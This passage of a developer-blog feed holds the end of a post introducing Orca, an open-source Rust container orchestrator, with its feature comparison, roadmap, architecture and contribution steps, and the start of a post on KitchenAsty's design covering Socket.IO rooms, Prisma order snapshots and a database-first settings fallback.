&lt;td&gt;Multi-node&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Yes (Raft)&lt;/td&gt;
&lt;td&gt;Yes (etcd)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Config format&lt;/td&gt;
&lt;td&gt;GUI&lt;/td&gt;
&lt;td&gt;GUI&lt;/td&gt;
&lt;td&gt;TOML&lt;/td&gt;
&lt;td&gt;YAML&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Auto-TLS&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Yes (ACME)&lt;/td&gt;
&lt;td&gt;cert-manager&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Secrets&lt;/td&gt;
&lt;td&gt;GUI&lt;/td&gt;
&lt;td&gt;GUI&lt;/td&gt;
&lt;td&gt;AES-256, &lt;code&gt;${secrets.X}&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;etcd + RBAC&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Rolling updates&lt;/td&gt;
&lt;td&gt;Basic&lt;/td&gt;
&lt;td&gt;Basic&lt;/td&gt;
&lt;td&gt;Yes + canary&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Health checks&lt;/td&gt;
&lt;td&gt;Basic&lt;/td&gt;
&lt;td&gt;Basic&lt;/td&gt;
&lt;td&gt;Liveness + readiness&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;WebSocket proxy&lt;/td&gt;
&lt;td&gt;Partial&lt;/td&gt;
&lt;td&gt;Partial&lt;/td&gt;
&lt;td&gt;Full&lt;/td&gt;
&lt;td&gt;Ingress-dependent&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Wasm support&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Yes (wasmtime)&lt;/td&gt;
&lt;td&gt;Krustlet (dead)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AI ops&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;GitOps webhook&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Yes + infra webhook&lt;/td&gt;
&lt;td&gt;ArgoCD/Flux&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Self-update&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Docker pull&lt;/td&gt;
&lt;td&gt;&lt;code&gt;orca update&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Cluster upgrade&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Lines of config per service&lt;/td&gt;
&lt;td&gt;~0 (GUI)&lt;/td&gt;
&lt;td&gt;~0 (GUI)&lt;/td&gt;
&lt;td&gt;~10 TOML&lt;/td&gt;
&lt;td&gt;~50-100 YAML&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;External dependencies&lt;/td&gt;
&lt;td&gt;Docker, DB&lt;/td&gt;
&lt;td&gt;Docker&lt;/td&gt;
&lt;td&gt;Docker only&lt;/td&gt;
&lt;td&gt;etcd, CoreDNS, ...&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Binary size&lt;/td&gt;
&lt;td&gt;Docker image&lt;/td&gt;
&lt;td&gt;Docker image&lt;/td&gt;
&lt;td&gt;47MB&lt;/td&gt;
&lt;td&gt;N/A&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  The Smart Reconciler
&lt;/h2&gt;

&lt;p&gt;One thing that drove me crazy with other orchestrators: redeploy a stack and &lt;em&gt;everything&lt;/em&gt; restarts, even services that haven't changed.&lt;/p&gt;

&lt;p&gt;Orca's reconciler compares the &lt;strong&gt;unresolved config templates&lt;/strong&gt; (with &lt;code&gt;${secrets.X}&lt;/code&gt; intact), not the resolved values. If your OAuth token refreshed but your config didn't change, the container stays running. Only actual config changes trigger a rolling update.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;orca deploy              &lt;span class="c"&gt;# Reconcile all — skips unchanged services&lt;/span&gt;
orca deploy api          &lt;span class="c"&gt;# Reconcile just one service&lt;/span&gt;
orca redeploy api        &lt;span class="c"&gt;# Force pull image + restart (for :latest updates)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  What's Coming in v0.3
&lt;/h2&gt;

&lt;p&gt;The roadmap is driven by what we actually need in production:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Remote log streaming&lt;/strong&gt; — &lt;code&gt;orca logs &amp;lt;service&amp;gt;&lt;/code&gt; for containers on any node, piped via WebSocket&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Preview environments&lt;/strong&gt; — &lt;code&gt;orca env create pr-123&lt;/code&gt; spins up an ephemeral copy of a project&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Per-project secrets&lt;/strong&gt; — &lt;code&gt;${secrets.X}&lt;/code&gt; resolves project scope first, then global&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;TUI webhook manager&lt;/strong&gt; — add/edit/delete webhooks from the terminal dashboard&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;TUI backup dashboard&lt;/strong&gt; — per-node backup status, manual trigger, restore&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;ARM64 builds&lt;/strong&gt; — native binaries for Raspberry Pi / Graviton&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Log forwarding&lt;/strong&gt; — ship container logs to Loki, SigNoz, or any OpenTelemetry collector&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Nixpacks integration&lt;/strong&gt; — auto-detect and build without Dockerfiles&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Architecture for the Curious
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌─────────────────────────────────────┐
│         CLI / TUI / API             │
└──────────────┬──────────────────────┘
               │
┌──────────────▼──────────────────────┐
│         Control Plane               │
│  Raft consensus (openraft + redb)   │
│  Scheduler (bin-packing + GPU)      │
│  API server (axum)                  │
│  Health checker + AI monitor        │
└──────────────┬──────────────────────┘
               │ WebSocket
    ┌──────────┼──────────┐
    ▼          ▼          ▼
┌────────┐ ┌────────┐ ┌────────┐
│ Node 1 │ │ Node 2 │ │ Node 3 │
│ Docker │ │ Docker │ │ Docker │
│ Wasm   │ │ Wasm   │ │ Wasm   │
│ Proxy  │ │ Proxy  │ │ Proxy  │
└────────┘ └────────┘ └────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;8 Rust crates, ~15k lines, 120+ tests. Every source file under 250 lines. The dependency flow is strict: &lt;code&gt;core&lt;/code&gt; &amp;lt;- &lt;code&gt;agent&lt;/code&gt; &amp;lt;- &lt;code&gt;control&lt;/code&gt; &amp;lt;- &lt;code&gt;cli&lt;/code&gt;. No circular deps, no god modules.&lt;/p&gt;

&lt;h2&gt;
  
  
  Want to Contribute?
&lt;/h2&gt;

&lt;p&gt;Orca is open source (AGPL-3.0) and actively looking for contributors. The codebase is designed to be approachable:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Small files&lt;/strong&gt; — 250 line max, split into clear submodules&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Comprehensive tests&lt;/strong&gt; — 120+ unit and integration tests&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Architecture guide&lt;/strong&gt; — &lt;a href="https://github.com/mighty840/orca/blob/main/CLAUDE.md" rel="noopener noreferrer"&gt;CLAUDE.md&lt;/a&gt; documents every crate, convention, and design decision&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Real issues&lt;/strong&gt; — every open issue comes from production usage, not hypotheticals&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Good first issues:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;ARM64 CI build&lt;/strong&gt; — add a GitHub Actions matrix for aarch64&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;TUI log viewer&lt;/strong&gt; — stream container logs in a ratatui pane&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Backup &lt;code&gt;--exclude&lt;/code&gt;&lt;/strong&gt; — skip specific volumes from nightly backup&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Service templates&lt;/strong&gt; — WordPress, Supabase, n8n one-click configs
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git clone https://github.com/mighty840/orca.git
&lt;span class="nb"&gt;cd &lt;/span&gt;orca
cargo &lt;span class="nb"&gt;test&lt;/span&gt;        &lt;span class="c"&gt;# 120+ tests&lt;/span&gt;
cargo build       &lt;span class="c"&gt;# single binary&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Links
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;GitHub:&lt;/strong&gt; &lt;a href="https://github.com/mighty840/orca" rel="noopener noreferrer"&gt;github.com/mighty840/orca&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Docs:&lt;/strong&gt; &lt;a href="https://mighty840.github.io/orca" rel="noopener noreferrer"&gt;mighty840.github.io/orca&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;crates.io:&lt;/strong&gt; &lt;a href="https://crates.io/crates/mallorca" rel="noopener noreferrer"&gt;crates.io/crates/mallorca&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Changelog:&lt;/strong&gt; &lt;a href="https://github.com/mighty840/orca/blob/main/CHANGELOG.md" rel="noopener noreferrer"&gt;CHANGELOG.md&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;em&gt;Orca is built by developers running real production workloads on it — trading bots, compliance platforms, YouTube automation, AI gateways. Every feature exists because we needed it, every bug fix comes from a real 3 AM incident. If you're stuck between Coolify and Kubernetes, give it a shot.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Star the repo if this resonates. Open an issue if something's broken. PRs welcome.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>rust</category>
      <category>devops</category>
      <category>containers</category>
      <category>opensource</category>
    </item>
    <item>
      <title>Design decisions behind KitchenAsty — an open-source restaurant management system</title>
      <dc:creator>Sharang Parnerkar</dc:creator>
      <pubDate>Wed, 25 Feb 2026 10:24:55 +0000</pubDate>
      <link>https://forem.com/mighty840/design-decisions-behind-kitchenasty-an-open-source-restaurant-management-system-650</link>
      <guid>https://forem.com/mighty840/design-decisions-behind-kitchenasty-an-open-source-restaurant-management-system-650</guid>
      <description>&lt;p&gt;In my &lt;a href="https://dev.to/mighty840/i-built-an-open-source-alternative-to-toast-and-square-for-restaurant-management-3mdf"&gt;previous post&lt;/a&gt;, I introduced KitchenAsty — an open-source, self-hosted restaurant ordering and management platform. People asked about the architecture, so this post dives into the core design decisions: how the real-time system works, how the database handles guest orders and price changes, how settings resolve from multiple sources, and how a data-driven automation pipeline lets restaurant owners set up custom workflows without writing code.&lt;/p&gt;

&lt;h2&gt;
  
  
  1. Real-Time Architecture: Rooms, Not Broadcasts
&lt;/h2&gt;

&lt;p&gt;A restaurant system has two audiences that need live updates simultaneously: kitchen staff watching for incoming orders, and customers tracking their delivery. Broadcasting everything to everyone would be wasteful and insecure.&lt;/p&gt;

&lt;p&gt;Socket.IO's room abstraction solves this cleanly. There are two room types:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;kitchen&lt;/code&gt;&lt;/strong&gt; — a single shared room. Every kitchen display client joins it. When a new order arrives or any order changes status, the event goes here.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;order:{orderId}&lt;/code&gt;&lt;/strong&gt; — one room per active order. The customer's browser or mobile app joins their specific order room. They only receive updates about their order.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Client joins on mount&lt;/span&gt;
&lt;span class="nx"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;emit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;join:kitchen&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;     &lt;span class="c1"&gt;// kitchen display&lt;/span&gt;
&lt;span class="nx"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;emit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;join:order&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;   &lt;span class="c1"&gt;// customer order tracking&lt;/span&gt;

&lt;span class="c1"&gt;// Server emits to both rooms on status change&lt;/span&gt;
&lt;span class="nx"&gt;io&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;to&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;kitchen&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;emit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;order:statusUpdate&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;order&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;io&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;to&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`order:&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;order&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;emit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;order:statusUpdate&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;order&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This means 50 customers tracking 50 orders generate 50 targeted messages, not 50 broadcasts. The kitchen display gets every update because it's in the shared room.&lt;/p&gt;

&lt;p&gt;On the kitchen display itself, updates are applied optimistically — the UI updates immediately on button click, and the Socket.IO event from the server reconciles in the background. If the status moves the order off the Kanban board (e.g., "delivered"), the socket handler removes it from local state:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="nx"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;on&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;order:statusUpdate&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nf"&gt;setOrders&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;prev&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;KITCHEN_STATUSES&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;includes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;status&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;prev&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;o&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;o&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;  &lt;span class="c1"&gt;// gone from board&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;prev&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;map&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;o&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;o&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;o&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;status&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;status&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;o&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  2. Database: Snapshots, Not References
&lt;/h2&gt;

&lt;p&gt;The most important database design decision was this: &lt;strong&gt;order items store a snapshot of the menu data at the time of purchase, not just a foreign key.&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;model OrderItem {
  menuItemId String
  menuItem   MenuItem @relation(...)
  name       String      // "Margherita Pizza" — frozen at order time
  unitPrice  Float       // 12.99 — frozen at order time
  subtotal   Float
}

model OrderItemOption {
  name          String   // "Extra Cheese" — frozen
  value         String   // "Yes" — frozen
  priceModifier Float    // 2.50 — frozen
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The foreign key to &lt;code&gt;MenuItem&lt;/code&gt; is still there for analytics (which menu items generate the most revenue), but the &lt;code&gt;name&lt;/code&gt;, &lt;code&gt;unitPrice&lt;/code&gt;, and &lt;code&gt;priceModifier&lt;/code&gt; fields are what the order actually uses. If the restaurant changes the price of a pizza next week, existing order records aren't affected.&lt;/p&gt;

&lt;p&gt;This matters more than you'd think. Restaurants update prices frequently — seasonal menus, promotions, cost adjustments. Without snapshots, your revenue reports lie and customer receipts change retroactively.&lt;/p&gt;

&lt;h3&gt;
  
  
  Guest checkout with optional customer
&lt;/h3&gt;

&lt;p&gt;Orders support both registered customers and guests through an optional relationship:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;model Order {
  customerId String?     // null for guest orders
  customer   Customer?
  guestName  String?     // fallback fields for guests
  guestEmail String?
  guestPhone String?
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The auth middleware on the order creation endpoint uses &lt;code&gt;optionalAuth&lt;/code&gt; — it attaches the user if a token is present but doesn't block the request otherwise. The controller checks: if there's a logged-in customer, link the order; if not, store the guest fields.&lt;/p&gt;

&lt;h3&gt;
  
  
  Self-referential categories
&lt;/h3&gt;

&lt;p&gt;Menus need nested categories (e.g., "Drinks" &amp;gt; "Hot Drinks" &amp;gt; "Coffees"). Rather than a flat list with a separate hierarchy table, the schema uses a self-referential adjacency list:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;model Category {
  parentId String?
  parent   Category?  @relation("CategoryTree", fields: [parentId], references: [id])
  children Category[] @relation("CategoryTree")
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;One query with &lt;code&gt;include: { children: true }&lt;/code&gt; gives you the full tree. Simple to query, simple to render, and Prisma's type system ensures you can't accidentally create orphans.&lt;/p&gt;

&lt;h2&gt;
  
  
  3. Settings: DB-First with Env Var Fallback
&lt;/h2&gt;

&lt;p&gt;Restaurant owners configure their system through the admin panel (stored in the database). Developers configure it through environment variables during deployment. Both need to work, and the admin panel should win when both are set.&lt;/p&gt;

&lt;p&gt;The pattern looks like this for email configuration:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;getMailConfig&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="c1"&gt;// Start with env var defaults&lt;/span&gt;
  &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;host&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;SMTP_HOST&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;localhost&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;port&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;parseInt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;SMTP_PORT&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;1025&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// DB settings override env vars&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;settings&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;prisma&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;siteSettings&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;findUnique&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
      &lt;span class="na"&gt;where&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;default&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;mail&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;settings&lt;/span&gt;&lt;span class="p"&gt;?.&lt;/span&gt;&lt;span class="nx"&gt;mailSettings&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="p"&gt;{};&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;mail&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;smtpHost&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nx"&gt;host&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;mail&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;smtpHost&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;mail&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;smtpPort&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nx"&gt;port&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;mail&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;smtpPort&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="c1"&gt;// ...&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// DB unavailable — env vars are the fallback&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The entire site configuration lives in a single database row — &lt;code&gt;SiteSettings&lt;/code&gt; with &lt;code&gt;id: 'default'&lt;/code&gt;. JSON columns hold grouped settings (general, orders, mail, payments, reservations, reviews, advanced). This avoids a key-value settings table and keeps related settings together.&lt;/p&gt;

&lt;p&gt;Two details that took some thought:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Caching&lt;/strong&gt; — The mail transporter is cached for 5 minutes to avoid a database round-trip on every email. When settings are updated through the admin API, &lt;code&gt;invalidateMailCache()&lt;/code&gt; forces a rebuild on the next send.&lt;/p&gt;

